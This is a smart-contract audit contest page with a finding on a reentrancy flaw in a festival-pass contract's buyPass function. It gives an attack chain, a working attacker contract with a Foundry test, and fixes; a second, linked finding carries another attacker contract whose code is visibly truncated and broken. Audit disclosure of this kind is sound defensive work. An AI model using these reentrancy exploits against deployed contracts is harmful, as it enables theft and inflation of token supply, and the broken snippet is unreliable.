Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

CEI violation in `buyPass` — reentrancy via ERC1155 callback bypasses maxSupply and exploits BEAT welcome bonus

Description

  • Normal: The buyPass function should enforce the passMaxSupply limit and grant the BEAT welcome bonus exactly once per pass purchase. ERC1155's _mint triggers onERC1155Received on the receiver when the buyer is a contract — state updates must happen before this external call to prevent reentrancy.

  • Bug: buyPass() calls _mint(msg.sender, collectionId, 1, "") before ++passSupply[collectionId]. A malicious contract can re-enter buyPass via the onERC1155Received callback while passSupply is still unchanged, bypassing the passSupply < passMaxSupply check. Each re-entrant call also mints the full BEAT welcome bonus (5e18 for VIP, 15e18 for BACKSTAGE).

// FestivalPass.sol:69-85
function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
_mint(msg.sender, collectionId, 1, ""); //@> External call — triggers onERC1155Received
++passSupply[collectionId]; //@> State update AFTER external call — CEI violation
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus); //@> Bonus minted on every re-entrant call
}
emit PassPurchased(msg.sender, collectionId);
}

Attack chain:

  1. Attacker deploys contract with onERC1155Received callback

  2. Calls buyPass{value: price}(2) (VIP pass) — maxSupply = 3

  3. _mint triggers onERC1155Received → re-enters buyPass{value: price}(2)

  4. passSupply is still 0 → passSupply < maxSupply check passes again

  5. Repeats 5 more times → 6 passes minted despite maxSupply = 3

  6. Each iteration mints 5e18 BEAT → 30 BEAT bonus instead of 5 BEAT

Risk

  • Likelihood: Medium-High — Requires deploying a malicious contract, but no special privileges or timing constraints. The attack can be executed immediately after pass configuration.

  • Impact: HIGH — maxSupply (core scarcity invariant) is completely bypassed. BEAT token economics are exploited via unlimited welcome bonus claims. The attacker obtains excessive BEAT tokens that can be used to redeem memorabilia NFTs, diluting their scarcity.

Proof of Concept

contract ReentrancyAttacker {
FestivalPass public festivalPass;
uint256 public attackCount;
uint256 public maxAttacks;
uint256 public passId;
uint256 public passPrice;
constructor(FestivalPass _fp, uint256 _passId, uint256 _maxAttacks) payable {
festivalPass = _fp;
passId = _passId;
passPrice = _fp.passPrice(_passId);
maxAttacks = _maxAttacks;
}
function attack() external {
festivalPass.buyPass{value: passPrice}(passId);
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata)
external returns (bytes4) {
if (attackCount < maxAttacks) {
attackCount++;
festivalPass.buyPass{value: passPrice}(passId);
}
return this.onERC1155Received.selector;
}
receive() external payable {}
}
function testH01_ReentrancyBypassesMaxSupply() public {
// maxSupply = 3 for VIP pass
vm.prank(organizer);
festivalPass.configurePass(2, VIP_PRICE, 3);
// Attacker with budget for 6 purchases
ReentrancyAttacker attacker = new ReentrancyAttacker{value: VIP_PRICE * 6}(
festivalPass, 2, 5
);
attacker.attack();
// BUG: 6 passes minted, maxSupply was 3
assertEq(festivalPass.balanceOf(address(attacker), 2), 6);
// BUG: 30 BEAT bonus (6 × 5) instead of expected 5 BEAT
assertEq(beatToken.balanceOf(address(attacker)), 30e18);
}

Run with:

forge test --match-contract BeatlandPoC -vvv

Recommended Mitigation

Option A — Follow CEI (move _mint after state update):

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
- _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
+ _mint(msg.sender, collectionId, 1, "");
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Option B — Use OpenZeppelin's ReentrancyGuard:

+ import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract FestivalPass is ERC1155, Ownable2Step, IFestivalPass {
+ contract FestivalPass is ERC1155, Ownable2Step, IFestivalPass, ReentrancyGuard {
- function buyPass(uint256 collectionId) external payable {
+ function buyPass(uint256 collectionId) external payable nonReentrant {
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 20 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!